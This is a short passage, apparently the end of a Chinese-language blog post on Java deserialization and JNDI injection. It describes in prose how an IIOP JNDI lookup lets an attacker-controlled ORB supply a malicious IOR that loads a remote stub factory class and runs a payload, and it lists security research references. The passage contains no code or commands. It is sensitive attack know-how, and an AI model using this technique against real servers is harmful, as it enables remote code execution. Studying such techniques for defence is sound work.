攻擊過程:攻擊者為JNDI lookup提供了一個絕對的IIOP URL。服務器連接到攻擊者控制的ORB,該ORB將返回惡意IOR,然后服務器解碼IOR從攻擊者控制的服務器獲取存根工廠類。進行實例化的同時payload執行。

參考資料

RMI
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html
https://paper.seebug.org/1012/
https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/tree/master/ldap/src/main/java/com/longofo
https://paper.seebug.org/1091/#java-rmi
JNDI
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
CORBA
https://paper.seebug.org/1124/#212-client-side

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容

  • JAVA相關基礎知識 1、面向對象的特征有哪些方面 1.抽象: 抽象就是忽略一個主題中與當前目標無關的那些方面,以...
    yangkg閱讀 676評論 0 1
  • 在分布式服務框架中,一個最基礎的問題就是遠程服務是怎么通訊的,在Java領域中有很多可實現遠程通訊的技術,例如:R...
    java菜閱讀 1,002評論 0 2
  • 這篇文章主要是基于我在看雪2017開發者峰會的演講而來,由于時間和聽眾對象的關系,在大會上主要精力都集中在反序列化...
    編程小世界閱讀 793評論 0 0
  • 1、面向對象的特征有哪些方面 1.抽象:抽象就是忽略一個主題中與當前目標無關的那些方面,以便更充分地注意與當前目標...
    michaelgong閱讀 842評論 0 1
  • 04 撞下一顆星星 吉姆拿開巨大花瓶子樹下凌亂的石頭,漸漸的露出一個長長的盒子,打開盒子,里面裝個一個普通的不能再...
    無盡無盡夏閱讀 373評論 0 0